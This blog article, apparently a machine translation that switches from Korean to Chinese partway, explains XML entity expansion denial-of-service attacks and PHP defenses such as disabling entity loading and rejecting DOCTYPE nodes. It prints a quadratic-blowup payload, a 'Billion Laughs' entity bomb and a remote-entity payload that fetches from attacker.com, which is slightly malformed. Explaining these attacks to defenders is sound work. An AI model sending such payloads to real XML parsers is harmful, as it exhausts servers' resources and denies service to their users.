XMl Entity Expansion(공격)은 XML Entity Expansion과 다소 유사하지만 주로 대상 프로그램의 서버 환경을 소비하여 DOS 공격을 시도합니다. 이 공격은 XML 엔터티 확장을 기반으로 하며 XML DOCTYPE
에서 사용자 지정 엔터티 정의를 생성하여 구현됩니다. 예를 들어 이 정의는 원래 허용된 XML 크기보다 훨씬 큰 XML 구조를 메모리에 생성할 수 있습니다. 이 공격은 네트워크 서버의 정상적이고 효율적인 운영에 필요한 메모리 자원을 고갈시키기 위한 것입니다. 이 공격 방식은 현재 확장 패키지에서 HTML로 인식할 수 없는 HTML5libxml2
의 XML 직렬화 기능 모듈에도 적용 가능하다.
XML 사용자 지정 엔터티를 확장하여 원하는 서버 리소스 소모 효과를 달성하는 방법에는 여러 가지가 있습니다.
일반 엔터티 확장 공격은 "Quadratic Blowup Attack"이라고도 합니다. 이 방법을 사용하면 사용자 지정 엔터티가 정의됩니다. 긴 문자열. 이 엔터티가 파일에서 광범위하게 사용되면 호출할 때마다 엔터티가 확장되어 원래 XML에 필요한 RAM 크기를 크게 초과하는 XML 구조가 됩니다.
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]> <results> <result>Now include &long; lots of times to expand the in-memory size of this XML structure</result> <result>&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; Keep it going... &long;&long;&long;&long;&long;&long;&long;...</result> </results>
사용자 정의 엔터티 문자열 크기와 문서 본문 내에서 사용되는 엔터티 수의 균형을 유지함으로써 서버에서 예측 가능한 양의 RAM 공간을 차지하도록 확장되는 XML 문서 또는 문자열을 생성할 수 있습니다. 이처럼 반복적인 요청으로 서버 RAM을 점유함으로써 성공적인 서비스 거부 공격이 시작될 수 있습니다. 이 방법의 단점은 메모리 소모 효과가 단순 곱셈을 기반으로 하기 때문에 초기 XML 문서나 문자열 자체가 충분히 커야 한다는 점입니다.
일반 엔터티 확장 공격에는 충분히 큰 XML 입력 데이터 볼륨이 필요한 반면, 재귀 엔터티 확장 공격의 평균 입력 바이트는 더 많은 XML 입력 데이터 볼륨을 생성할 수 있습니다. 강력한 공격 효과. 이 공격 방법은 XML 구문 분석을 사용하여 구문 분석하므로 소규모 엔터티 세트가 기하급수적으로 증가합니다. 이러한 기하급수적 증가 접근 방식을 통해 일반적인 엔터티 확장 공격보다 훨씬 적은 양의 입력 데이터가 실제로 엄청나게 커질 수 있습니다. 따라서 이 접근 방식을 "XML Bomb" 또는 "Billion Laughs Attack"이라고 부르는 것이 적절합니다.
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY x0 "BOOM!"> <!ENTITY x1 "&x0;&x0;"> <!ENTITY x2 "&x1;&x1;"> <!ENTITY x3 "&x2;&x2;"> <!-- Add the remaining sequence from x4...x100 (or boom) --> <!ENTITY x99 "&x98;&x98;"> <!ENTITY boom "&x99;&x99;"> ]> <results> <result>Explode in 3...2...1...&boom;</result> </results>
XML 폭탄 공격에는 프로그램에서 제한할 수 있는 대량의 XML 데이터 입력이 필요하지 않습니다. 이렇게 엔터티 집합은 기하급수적으로 늘어나며, 최종 확장된 텍스트 크기는 초기 &x0
엔터티 값의 2의 100승이 됩니다. 이것은 정말 거대하고 파괴적인 폭탄입니다!
기존 및 재귀적 엔터티 확장 공격 모두 XML 문서 유형 정의에 로컬로 정의된 엔터티에 의존하지만 공격자는 외부 엔터티 정의를 만들 수도 있습니다. 이를 위해서는 XML 외부 엔터티 주입(XXE) 공격을 설명할 때 이전에 겪었던 것과 같은 원격 HTTP 요청을 만들 수 있는 XML 파서가 분명히 필요합니다. 이러한 요청을 거부하는 것은 XML 파서에 대한 기본적인 보안 조치입니다. 따라서 XXE 공격을 방어하기 위한 조치는 이러한 XML 엔터티 확장 공격에도 적용됩니다.
위 방법으로 방어할 수 있지만 원격 엔터티 확장은 참조 엔터티의 확장 값을 얻기 위해 XML 파서가 원격 HTTP 요청을 하게 하여 공격합니다. 반환된 결과는 다른 XML 파서가 별도의 HTTP 요청을 수행해야 하는 외부 엔터티를 자체적으로 정의합니다. 결과적으로 겉으로는 무해해 보이는 요청이 빠르게 제어를 벗어나 서버의 사용 가능한 리소스에 부담을 줄 수 있습니다. 이 경우 요청 자체에 재귀 확장 공격이 포함되어 있으면 최종 결과는 더욱 악화됩니다.
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml"> ]> <results> <result>3..2..1...&cascade<result> </results>
위의 공격 방법은 더 우회적인 DOS 공격으로 이어질 수도 있습니다. 예를 들어 원격 요청은 서버 리소스를 공유하는 로컬 프로그램이나 다른 프로그램을 대상으로 조정됩니다. 이 공격 방법은 XML 파서가 외부 엔터티를 구문 분석하려는 시도로 인해 로컬 프로그램에 대한 수많은 요청이 트리거되어 더 많은 서버 리소스를 소비할 수 있는 자체 파괴적인 DOS 공격으로 이어질 수 있습니다. 따라서 이 방법은 DOS 공격을 완료하기 위해 XML XXE(외부 엔터티 삽입) 공격을 사용하여 이전에 논의한 공격의 영향을 증폭시키는 데 사용됩니다.
다음 일반 방어 조치는 일반적인 XML 외부 엔터티 공격(XXE)에 대한 방어 조치에서 상속됩니다. XML의 사용자 정의 엔터티에 의한 로컬 파일 및 원격 HTTP 요청의 구문 분석을 거부해야 하며, libxml2
함수를 내부적으로 사용하는 PHP 또는 XML로 작성된 모든 확장에 전역적으로 적용할 수 있는 다음 함수를 사용할 수 있습니다.
libxml_disable_entity_loader(true);
诚然PHP以不按常理出牌著称,它并不使用常规的防御方式。常规的防御方式在文档类型声明中,使用XML的文档类型定义来完全拒绝通过自定义实体的定义。PHP也的确为防御功能定义了一个替代实体的LIBXML_NOENT
常量,以及 DOMDocument::$substituteEntities
公共属性,但是使用这两条定义的防御效果不甚明显。似乎我们只能这样将就解决问题,而没有任何更好的解决方案。
虽说没有更好的方案,libxml2
函数也确实内置了默认拒绝递归实体解析。要知道递归实体要是出了问题可是能让你的错误日志”咻”地一下跟点亮圣诞树一样全面飘红的。如此看来,好像也没必要特意针对递归实体使用一种特殊防御手段,尽管我们是得做点什么来防止万一libxml2
函数突然陷回解析递归实体的故障里去。
当下新型威胁主要来自Generic Entity Expansion 或者Quadratic Blowup Attack的粗暴攻击方式。此类攻击方式不需要调用远程或本地系统,也不需要实体递归。事实上,唯一的防御措施要么是不用XML,要么是清理过滤所有包含文档类型声明的XML。除非要求的文档类型声明接收于安全的可信源,否则最安全的做法就是不用XML了。比如,我们是由同行验证的HTTPS连接接受的。否则,既然PHP没给我们提供禁用文档类型定义的选项,那我们就只能自建逻辑了。假定你能调用 libxml_disable_entity_loader(TRUE)
,那么后续程序运行就是安全的了,因为实体扩展这一步已经被递延到被扩展影响的节点值可被再次访问的时候了(然而勾选TURE以后永远都访问不到了)。
$dom = new DOMDocument; $dom->loadXML($xml); foreach ($dom->childNodes as $child) { if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) { throw new \InvalidArgumentException( 'Invalid XML: Detected use of illegal DOCTYPE' ); } }
当然啦,在 libxml_disable_entity_loader
被设定为TRUE
的前提下,以上代码才能正常运行,设定后XML初始加载的时外部实体引用就不会被解析了。除非解析器自己有一套全面的针对如何进行实体解析的控制选项,否则XML解析器不依赖libxml2
函数进行解析时,恐怕这就是唯一的防御措施了。
如果你想使用SimpleXML函数,记得用the simplexml_import_dom()
函数来转换核验过的DOMDocument
项目。
原文地址:Injection Attacks
OneAPM for PHP 能够深入到所有 PHP 应用内部完成应用性能管理 能够深入到所有 PHP 应用内部完成应用性能管理和监控,包括代码级别性能问题的可见性、性能瓶颈的快速识别与追溯、真实用户体验监控、服务器监控和端到端的应用性能管理。想阅读更多技术文章,请访问 OneAPM 官方技术博客。
위 내용은 XML 엔터티 확장 공격 코드 예시 공유의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!